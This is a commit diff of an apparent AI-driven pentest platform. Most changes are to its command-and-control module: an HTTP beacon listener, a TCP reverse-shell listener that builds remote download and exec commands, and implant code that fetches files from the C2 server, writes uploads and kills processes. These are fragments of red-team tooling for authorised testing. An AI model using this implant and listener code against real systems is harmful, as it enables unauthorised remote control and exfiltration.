Compare commits

...

48 Commits

Author SHA1 Message Date
公明 1027d9f6cf Update config.yaml 2026-06-11 00:41:27 +08:00
公明 e05b008903 Add files via upload 2026-06-11 00:38:00 +08:00
公明 9bcc7a27fe Add files via upload 2026-06-11 00:35:44 +08:00
公明 fb3087b760 Add files via upload 2026-06-10 14:20:24 +08:00
公明 cd48a43b7e Add files via upload 2026-06-10 14:18:17 +08:00
公明 07be48ae59 Add files via upload 2026-06-10 14:06:33 +08:00
公明 529f94a4f7 Add files via upload 2026-06-10 11:33:05 +08:00
公明 d2fe023d7e Delete internal/database/project_fact_version.go 2026-06-10 11:19:21 +08:00
公明 09e858619e Add files via upload 2026-06-10 11:17:29 +08:00
公明 9c54291295 Add files via upload 2026-06-10 11:14:32 +08:00
公明 b3f7b8494b Delete web/static/js/knowledge.js.bak 2026-06-09 21:06:14 +08:00
公明 849c644a86 Add files via upload 2026-06-09 21:05:29 +08:00
公明 9e0525abc1 Add files via upload 2026-06-09 20:44:41 +08:00
公明 6bacac2e6a Add files via upload 2026-06-09 20:27:45 +08:00
公明 244307b52c Add files via upload 2026-06-09 20:26:18 +08:00
公明 faaac5fbd7 Add files via upload 2026-06-09 20:24:53 +08:00
公明 3392fefedf Add files via upload 2026-06-09 20:23:09 +08:00
公明 abef51b805 Add files via upload 2026-06-09 18:05:29 +08:00
公明 8143d8f220 Add files via upload 2026-06-09 17:53:37 +08:00
公明 73337c5226 Add files via upload 2026-06-09 17:44:39 +08:00
公明 c9c9ca1eec Add files via upload 2026-06-09 17:39:27 +08:00
公明 25f8b610fb Add files via upload 2026-06-09 17:37:04 +08:00
公明 6bfa7b8959 Add files via upload 2026-06-09 17:34:36 +08:00
公明 99a41d8188 Add files via upload 2026-06-09 14:32:11 +08:00
公明 6d04753761 Add files via upload 2026-06-09 14:28:15 +08:00
公明 a08df7ab79 Add files via upload 2026-06-09 14:23:08 +08:00
公明 3123a07c48 Update config.yaml 2026-06-09 14:03:09 +08:00
公明 7b3d35fabe Add files via upload 2026-06-09 13:39:22 +08:00
公明 cb17d3a5c1 Add files via upload 2026-06-09 11:03:51 +08:00
公明 c2892ccd33 Add files via upload 2026-06-08 15:55:03 +08:00
公明 60b0bb3252 Update config.yaml 2026-06-08 13:18:38 +08:00
公明 3b9e5f3b1c Add files via upload 2026-06-08 13:17:36 +08:00
公明 1a9694b216 Add files via upload 2026-06-08 13:08:15 +08:00
公明 a1c7e0dc7d Add files via upload 2026-06-07 20:20:41 +08:00
公明 23e08b1697 Add files via upload 2026-06-07 20:20:09 +08:00
公明 9002505569 Add files via upload 2026-06-07 20:18:36 +08:00
公明 b1aaaa79c7 Add files via upload 2026-06-07 20:17:16 +08:00
公明 4edbeb8f2d Add files via upload 2026-06-07 20:15:44 +08:00
公明 5b5a532d4f Add files via upload 2026-06-07 19:12:43 +08:00
公明 c1bd94684c Add files via upload 2026-06-07 15:35:49 +08:00
公明 8b48e5e396 Add files via upload 2026-06-07 05:11:00 +08:00
公明 c2f8ebc743 Add files via upload 2026-06-06 21:43:50 +08:00
公明 15e1a15671 Add files via upload 2026-06-05 17:57:23 +08:00
公明 5c3b157159 Add files via upload 2026-06-05 17:15:50 +08:00
公明 e5f6175277 Add files via upload 2026-06-05 16:54:25 +08:00
公明 1dc5d18fb3 Add files via upload 2026-06-05 15:21:50 +08:00
公明 00ea3d7a9c Update config.yaml 2026-06-05 15:00:17 +08:00
公明 8d48ccdfe4 Add files via upload 2026-06-05 11:41:29 +08:00
62 changed files with 5516 additions and 3460 deletions
+6 -5
View File
@@ -190,13 +190,14 @@ The `run.sh` script will automatically:
``` ```
- Or edit `config.yaml` directly before launching - Or edit `config.yaml` directly before launching
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`) 2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
3. **Install security tools (optional)** - Install tools as needed: 3. **Install security tools (optional)** - Install all tools declared under `tools/`:
```bash ```bash
# macOS ./install-tools.sh # install missing tools (best on Kali/Debian/Ubuntu)
brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass ./install-tools.sh --check # check only, no install
# Ubuntu/Debian ./install-tools.sh --list # show per-tool status
sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster ./install-tools.sh --only nmap,gau # install selected tools only
``` ```
On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
AI automatically falls back to alternatives when a tool is missing. AI automatically falls back to alternatives when a tool is missing.
**Alternative Launch Methods:** **Alternative Launch Methods:**
+7 -6
View File
@@ -189,14 +189,15 @@ chmod +x run.sh && ./run.sh
``` ```
- 或启动前直接编辑 `config.yaml` 文件 - 或启动前直接编辑 `config.yaml` 文件
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password` 2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`
3. **安装安全工具(可选)** - 按需安装所需工具: 3. **安装安全工具(可选)** - 一键安装 `tools/` 目录声明的全部工具:
```bash ```bash
# macOS ./install-tools.sh # 安装缺失工具 (Kali/Debian/Ubuntu 推荐)
brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass ./install-tools.sh --check # 仅检查, 不安装
# Ubuntu/Debian ./install-tools.sh --list # 列出各工具安装状态
sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster ./install-tools.sh --only nmap,gau # 只装指定工具
``` ```
未安装的工具会自动跳过或改用替代方案 macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub
未安装的工具在执行时会自动跳过或改用替代方案。
**其他启动方式:** **其他启动方式:**
```bash ```bash
+3 -3
View File
@@ -10,7 +10,7 @@
# ============================================ # ============================================
# 前端显示的版本号(可选,不填则显示默认版本) # 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.6.31" version: "v1.6.34"
# 服务器配置 # 服务器配置
server: server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口 host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
@@ -310,7 +310,7 @@ roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录
project: project:
enabled: true enabled: true
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID # default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
fact_index_max_runes: 3500 fact_index_max_runes: 6500
fact_summary_max_runes: 240 fact_summary_max_runes: 2400
default_inject_deprecated: false default_inject_deprecated: false
+1 -1
View File
@@ -17,6 +17,7 @@ require (
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
github.com/cloudwego/eino-ext/components/model/openai v0.1.13 github.com/cloudwego/eino-ext/components/model/openai v0.1.13
github.com/creack/pty v1.1.24 github.com/creack/pty v1.1.24
github.com/disintegration/imaging v1.6.2
github.com/eino-contrib/jsonschema v1.0.3 github.com/eino-contrib/jsonschema v1.0.3
github.com/gin-gonic/gin v1.9.1 github.com/gin-gonic/gin v1.9.1
github.com/google/uuid v1.6.0 github.com/google/uuid v1.6.0
@@ -49,7 +50,6 @@ require (
github.com/cenkalti/backoff/v4 v4.3.0 // indirect github.com/cenkalti/backoff/v4 v4.3.0 // indirect
github.com/cloudwego/base64x v0.1.6 // indirect github.com/cloudwego/base64x v0.1.6 // indirect
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
github.com/disintegration/imaging v1.6.2 // indirect
github.com/dlclark/regexp2 v1.10.0 // indirect github.com/dlclark/regexp2 v1.10.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect github.com/dustin/go-humanize v1.0.1 // indirect
github.com/evanphx/json-patch v0.5.2 // indirect github.com/evanphx/json-patch v0.5.2 // indirect
Binary file not shown.

Before

Width:  |  Height:  |  Size: 178 KiB

After

Width:  |  Height:  |  Size: 262 KiB

+1064
View File
File diff suppressed because it is too large Load Diff
+1 -2
View File
@@ -1075,6 +1075,7 @@ func setupRoutes(
protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability) protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
// 项目管理与事实黑板 // 项目管理与事实黑板
protected.GET("/projects/dashboard-summary", projectHandler.GetDashboardSummary)
protected.GET("/projects", projectHandler.ListProjects) protected.GET("/projects", projectHandler.ListProjects)
protected.POST("/projects", projectHandler.CreateProject) protected.POST("/projects", projectHandler.CreateProject)
protected.GET("/projects/:id/stats", projectHandler.GetProjectStats) protected.GET("/projects/:id/stats", projectHandler.GetProjectStats)
@@ -1083,8 +1084,6 @@ func setupRoutes(
protected.PUT("/projects/:id", projectHandler.UpdateProject) protected.PUT("/projects/:id", projectHandler.UpdateProject)
protected.DELETE("/projects/:id", projectHandler.DeleteProject) protected.DELETE("/projects/:id", projectHandler.DeleteProject)
protected.GET("/projects/:id/facts", projectHandler.ListFacts) protected.GET("/projects/:id/facts", projectHandler.ListFacts)
protected.GET("/projects/:id/facts/:factId/previous-version", projectHandler.GetFactPreviousVersion)
protected.GET("/projects/:id/facts/:factId/versions", projectHandler.ListFactVersions)
protected.POST("/projects/:id/facts", projectHandler.CreateFact) protected.POST("/projects/:id/facts", projectHandler.CreateFact)
protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact) protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
protected.DELETE("/projects/:id/facts/:factId", projectHandler.DeleteFact) protected.DELETE("/projects/:id/facts/:factId", projectHandler.DeleteFact)
+48
View File
@@ -0,0 +1,48 @@
package c2
import (
"encoding/base64"
"strings"
"unicode/utf8"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。
// osTag 来自会话的 os 字段(如 windows / Windows 10);空值时按 auto 处理。
func NormalizeConsoleOutput(raw []byte, osTag string) string {
if len(raw) == 0 {
return ""
}
osTag = strings.ToLower(strings.TrimSpace(osTag))
isWindows := strings.Contains(osTag, "windows")
if utf8.Valid(raw) {
return string(raw)
}
if isWindows {
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
return string(out)
}
}
// 非 Windows 或解码失败:GB18030 兜底(覆盖 GBK
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
return string(out)
}
return string(raw)
}
// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64(及 Error/ErrorB64),按会话 OS 解码。
func ResolveTaskResultText(plain, b64, sessionOS string) string {
if strings.TrimSpace(b64) != "" {
raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64))
if err == nil {
return NormalizeConsoleOutput(raw, sessionOS)
}
}
if plain == "" {
return ""
}
return NormalizeConsoleOutput([]byte(plain), sessionOS)
}
+51
View File
@@ -0,0 +1,51 @@
package c2
import (
"encoding/base64"
"testing"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
func mustGBK(t *testing.T, s string) []byte {
t.Helper()
out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s))
if err != nil {
t.Fatal(err)
}
return out
}
func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) {
raw := mustGBK(t, "中文测试")
got := NormalizeConsoleOutput(raw, "windows")
if got != "中文测试" {
t.Fatalf("got %q want 中文测试", got)
}
}
func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) {
raw := []byte("hello 世界")
got := NormalizeConsoleOutput(raw, "linux")
if got != "hello 世界" {
t.Fatalf("got %q", got)
}
}
func TestResolveTaskResultText_PrefersB64(t *testing.T) {
raw := mustGBK(t, "采购订单")
b64 := base64.StdEncoding.EncodeToString(raw)
got := ResolveTaskResultText("", b64, "windows")
if got != "采购订单" {
t.Fatalf("got %q", got)
}
}
func TestResolveTaskResultText_PlainFallback(t *testing.T) {
raw := mustGBK(t, "测试")
got := ResolveTaskResultText(string(raw), "", "windows")
if got != "测试" {
t.Fatalf("got %q", got)
}
}
+1
View File
@@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
} }
prefix := l.cfg.BeaconFilePath prefix := l.cfg.BeaconFilePath
taskID := strings.TrimPrefix(r.URL.Path, prefix) taskID := strings.TrimPrefix(r.URL.Path, prefix)
taskID = strings.TrimSuffix(taskID, ".bin")
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") { if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
l.disguisedReject(w) l.disguisedReject(w)
return return
+100
View File
@@ -2,10 +2,12 @@ package c2
import ( import (
"bytes" "bytes"
"encoding/base64"
"encoding/json" "encoding/json"
"io" "io"
"net" "net"
"net/http" "net/http"
"os"
"path/filepath" "path/filepath"
"strconv" "strconv"
"strings" "strings"
@@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
} }
}) })
} }
func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
tmp := t.TempDir()
dbPath := filepath.Join(tmp, "c2.sqlite")
db, err := database.NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = db.Close() })
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
port := lnPick.Addr().(*net.TCPAddr).Port
_ = lnPick.Close()
keyB64, err := GenerateAESKey()
if err != nil {
t.Fatal(err)
}
token := "test-implant-token-file"
lid := "l_testhttpfile01"
rec := &database.C2Listener{
ID: lid,
Name: "t",
Type: string(ListenerTypeHTTPBeacon),
BindHost: "127.0.0.1",
BindPort: port,
EncryptionKey: keyB64,
ImplantToken: token,
Status: "stopped",
ConfigJSON: `{"beacon_file_path":"/file/"}`,
CreatedAt: time.Now(),
}
if err := db.CreateC2Listener(rec); err != nil {
t.Fatal(err)
}
store := filepath.Join(tmp, "c2store")
m := NewManager(db, zap.NewNop(), store)
m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
if _, err := m.StartListener(lid); err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = m.StopListener(lid) })
fileID := "f_testfile123"
downDir := filepath.Join(store, "downstream")
if err := os.MkdirAll(downDir, 0o755); err != nil {
t.Fatal(err)
}
want := []byte("upload-payload-bytes")
if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil {
t.Fatal(err)
}
base := "http://127.0.0.1:" + strconv.Itoa(port)
client := &http.Client{Timeout: 5 * time.Second}
for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} {
t.Run(path, func(t *testing.T) {
req, _ := http.NewRequest(http.MethodGet, base+path, nil)
req.Header.Set("X-Implant-Token", token)
resp, err := client.Do(req)
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
b, _ := io.ReadAll(resp.Body)
t.Fatalf("status=%d body=%q", resp.StatusCode, b)
}
raw, err := io.ReadAll(resp.Body)
if err != nil {
t.Fatal(err)
}
plain, err := DecryptAESGCM(keyB64, string(raw))
if err != nil {
t.Fatal(err)
}
var out struct {
FileData string `json:"file_data"`
}
if err := json.Unmarshal(plain, &out); err != nil {
t.Fatal(err)
}
got, err := base64.StdEncoding.DecodeString(out.FileData)
if err != nil {
t.Fatal(err)
}
if !bytes.Equal(got, want) {
t.Fatalf("got %q want %q", got, want)
}
})
}
}
+41 -2
View File
@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
return return
} }
cleaned := cleanShellOutput(output, cmd) cleaned := cleanShellOutput(output, cmd)
if TaskType(env.TaskType) == TaskTypeDownload {
if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
return
}
}
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "") l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
} }
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
} }
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。 // buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些 // 仅支持 TCP 反弹模式可直接执行的最简任务类型;download 通过 base64 输出文本结果,
// 需要二进制传输的能力建议使用 http_beacon。 // upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) { func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
switch t { switch t {
case TaskTypeExec, TaskTypeShell: case TaskTypeExec, TaskTypeShell:
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
return "", false return "", false
} }
return "cd " + shellQuote(path) + " && pwd", true return "cd " + shellQuote(path) + " && pwd", true
case TaskTypeDownload:
path, _ := payload["remote_path"].(string)
if strings.TrimSpace(path) == "" {
return "", false
}
q := shellQuote(path)
return fmt.Sprintf(
`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
q,
), true
case TaskTypeExit: case TaskTypeExit:
return "exit 0", true return "exit 0", true
} }
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'" return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
} }
// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
func detectDownloadShellError(output string) string {
trimmed := strings.TrimSpace(output)
if trimmed == "" {
return ""
}
lower := strings.ToLower(trimmed)
markers := []string{
"c2_download_err:",
"no such file",
"permission denied",
"is a directory",
"cannot open",
"not a regular file",
}
for _, m := range markers {
if strings.Contains(lower, m) {
return trimmed
}
}
return ""
}
func isAddrInUse(err error) bool { func isAddrInUse(err error) bool {
if err == nil { if err == nil {
return false return false
+43
View File
@@ -0,0 +1,43 @@
package c2
import (
"strings"
"testing"
)
func TestDetectDownloadShellError(t *testing.T) {
tests := []struct {
name string
output string
want string
}{
{name: "empty ok", output: "", want: ""},
{name: "base64 ok", output: "aGVsbG8=", want: ""},
{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := detectDownloadShellError(tt.output)
if got != tt.want {
t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
}
})
}
}
func TestBuildTCPCommandDownload(t *testing.T) {
cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
"remote_path": "/tmp/demo.txt",
})
if !ok {
t.Fatal("expected download command to be supported")
}
if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
t.Fatalf("command %q should contain %q", cmd, want)
}
if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
t.Fatalf("command should validate file before base64: %q", cmd)
}
}
+12 -4
View File
@@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
status = string(TaskFailed) status = string(TaskFailed)
} }
duration := endedAt.Sub(startedAt).Milliseconds() duration := endedAt.Sub(startedAt).Milliseconds()
sessionOS := ""
if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil {
sessionOS = sess.OS
}
resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS)
errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS)
upd := database.C2TaskUpdate{ upd := database.C2TaskUpdate{
Status: &status, Status: &status,
ResultText: &report.Output, ResultText: &resultText,
Error: &report.Error, Error: &errText,
StartedAt: &startedAt, StartedAt: &startedAt,
CompletedAt: &endedAt, CompletedAt: &endedAt,
DurationMS: &duration, DurationMS: &duration,
@@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
return err return err
} }
t.Status = status t.Status = status
t.ResultText = report.Output t.ResultText = resultText
t.Error = report.Error t.Error = errText
level := "info" level := "info"
msg := fmt.Sprintf("任务完成: %s", t.TaskType) msg := fmt.Sprintf("任务完成: %s", t.TaskType)
+49 -21
View File
@@ -45,6 +45,7 @@ import (
"strings" "strings"
"sync" "sync"
"time" "time"
"unicode/utf8"
) )
// 编译期注入常量(text/template 替换) // 编译期注入常量(text/template 替换)
@@ -101,7 +102,9 @@ type TaskReport struct {
TaskID string `json:"task_id"` TaskID string `json:"task_id"`
Success bool `json:"success"` Success bool `json:"success"`
Output string `json:"output,omitempty"` Output string `json:"output,omitempty"`
OutputB64 string `json:"output_b64,omitempty"`
Error string `json:"error,omitempty"` Error string `json:"error,omitempty"`
ErrorB64 string `json:"error_b64,omitempty"`
BlobBase64 string `json:"blob_b64,omitempty"` BlobBase64 string `json:"blob_b64,omitempty"`
BlobSuffix string `json:"blob_suffix,omitempty"` BlobSuffix string `json:"blob_suffix,omitempty"`
StartedAt int64 `json:"started_at"` StartedAt int64 `json:"started_at"`
@@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
defer func() { tcpTaskConn = nil }() defer func() { tcpTaskConn = nil }()
start := time.Now() start := time.Now()
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload) output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
report := TaskReport{ report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
TaskID: env.TaskID,
Success: errMsg == "",
Output: output,
Error: errMsg,
BlobBase64: blobB64,
BlobSuffix: blobSuffix,
StartedAt: start.UnixMilli(),
EndedAt: time.Now().UnixMilli(),
}
tcpReportResult(conn, report) tcpReportResult(conn, report)
} }
@@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
if tcpTaskConn != nil { if tcpTaskConn != nil {
return tcpFetchEncryptedFile(tcpTaskConn, fileID) return tcpFetchEncryptedFile(tcpTaskConn, fileID)
} }
url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID) // 服务端 handleFileServe 会在 downstream/<file_id>.bin 读取;URL 路径应为 /file/<file_id>,勿重复 .bin
url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID)
req, _ := http.NewRequest("GET", url, nil) req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", userAgent) req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken) req.Header.Set("X-Implant-Token", implantToken)
@@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) {
return gcm.Open(nil, nonce, ct, nil) return gcm.Open(nil, nonce, ct, nil)
} }
func encodeReportText(s string) (plain, b64 string) {
if s == "" {
return "", ""
}
b := []byte(s)
if utf8.Valid(b) {
return s, ""
}
return "", base64.StdEncoding.EncodeToString(b)
}
func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport {
outText, outB64 := encodeReportText(output)
errText, errB64 := encodeReportText(errMsg)
return TaskReport{
TaskID: taskID,
Success: errMsg == "",
Output: outText,
OutputB64: outB64,
Error: errText,
ErrorB64: errB64,
BlobBase64: blobB64,
BlobSuffix: blobSuffix,
StartedAt: start.UnixMilli(),
EndedAt: end.UnixMilli(),
}
}
func handleTaskAsync(env TaskEnv) { func handleTaskAsync(env TaskEnv) {
defer func() { _ = recover() }() defer func() { _ = recover() }()
start := time.Now() start := time.Now()
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload) output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
report := TaskReport{ report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
TaskID: env.TaskID,
Success: errMsg == "",
Output: output,
Error: errMsg,
BlobBase64: blobB64,
BlobSuffix: blobSuffix,
StartedAt: start.UnixMilli(),
EndedAt: time.Now().UnixMilli(),
}
reportResult(report) reportResult(report)
} }
@@ -890,12 +904,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin
return "killed", "", "", "" return "killed", "", "", ""
} }
func normalizeRemotePath(p string) string {
p = strings.TrimSpace(p)
if p == "" || runtime.GOOS != "windows" {
return p
}
// 控制台可能下发 /d:/path/fileUnix 风格),Windows 需转为 d:\path\file
p = strings.ReplaceAll(p, "\\", "/")
if len(p) >= 3 && p[0] == '/' && p[2] == ':' {
p = p[1:]
}
return filepath.FromSlash(p)
}
func taskUpload(payload map[string]interface{}) (string, string, string, string) { func taskUpload(payload map[string]interface{}) (string, string, string, string) {
remotePath, _ := payload["remote_path"].(string) remotePath, _ := payload["remote_path"].(string)
fileID, _ := payload["file_id"].(string) fileID, _ := payload["file_id"].(string)
if remotePath == "" || fileID == "" { if remotePath == "" || fileID == "" {
return "", "", "", "remote_path or file_id empty" return "", "", "", "remote_path or file_id empty"
} }
remotePath = normalizeRemotePath(remotePath)
data, err := fetchC2FileByID(fileID) data, err := fetchC2FileByID(fileID)
if err != nil { if err != nil {
return "", "", "", err.Error() return "", "", "", err.Error()
+2
View File
@@ -209,7 +209,9 @@ type TaskResultReport struct {
TaskID string `json:"task_id"` TaskID string `json:"task_id"`
Success bool `json:"success"` Success bool `json:"success"`
Output string `json:"output,omitempty"` Output string `json:"output,omitempty"`
OutputB64 string `json:"output_b64,omitempty"` // 原始控制台字节(base64),避免 JSON 破坏非 UTF-8 输出
Error string `json:"error,omitempty"` Error string `json:"error,omitempty"`
ErrorB64 string `json:"error_b64,omitempty"`
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制 BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png" BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
StartedAt int64 `json:"started_at"` StartedAt int64 `json:"started_at"`
+2
View File
@@ -240,6 +240,8 @@ type MultiAgentEinoMiddlewareConfig struct {
SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"` SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
// SummarizationEmitInternalEvents controls middleware internal event emission (default true). // SummarizationEmitInternalEvents controls middleware internal event emission (default true).
SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"` SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
// SummarizationRetryMaxAttempts is extra retries after the first summarization Generate attempt; 0 = default 3.
SummarizationRetryMaxAttempts int `yaml:"summarization_retry_max_attempts,omitempty" json:"summarization_retry_max_attempts,omitempty"`
// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35). // PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"` PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
// PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2). // PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2).
+2 -2
View File
@@ -77,7 +77,7 @@ func (db *DB) LoadAttackChainNodes(conversationID string) ([]AttackChainNode, er
SELECT id, node_type, node_name, tool_execution_id, metadata, risk_score SELECT id, node_type, node_name, tool_execution_id, metadata, risk_score
FROM attack_chain_nodes FROM attack_chain_nodes
WHERE conversation_id = ? WHERE conversation_id = ?
ORDER BY created_at ASC ORDER BY created_at ASC, rowid ASC
` `
rows, err := db.Query(query, conversationID) rows, err := db.Query(query, conversationID)
@@ -123,7 +123,7 @@ func (db *DB) LoadAttackChainEdges(conversationID string) ([]AttackChainEdge, er
SELECT id, source_node_id, target_node_id, edge_type, weight SELECT id, source_node_id, target_node_id, edge_type, weight
FROM attack_chain_edges FROM attack_chain_edges
WHERE conversation_id = ? WHERE conversation_id = ?
ORDER BY created_at ASC ORDER BY created_at ASC, rowid ASC
` `
rows, err := db.Query(query, conversationID) rows, err := db.Query(query, conversationID)
+1 -1
View File
@@ -840,7 +840,7 @@ func (db *DB) PopQueuedC2Tasks(sessionID string, limit int) ([]*C2Task, error) {
created_at created_at
FROM c2_tasks FROM c2_tasks
WHERE session_id = ? AND (status = 'queued' AND (approval_status = '' OR approval_status = 'approved')) WHERE session_id = ? AND (status = 'queued' AND (approval_status = '' OR approval_status = 'approved'))
ORDER BY created_at ASC ORDER BY created_at ASC, rowid ASC
LIMIT ? LIMIT ?
` `
rows, err := tx.Query(query, sessionID, limit) rows, err := tx.Query(query, sessionID, limit)
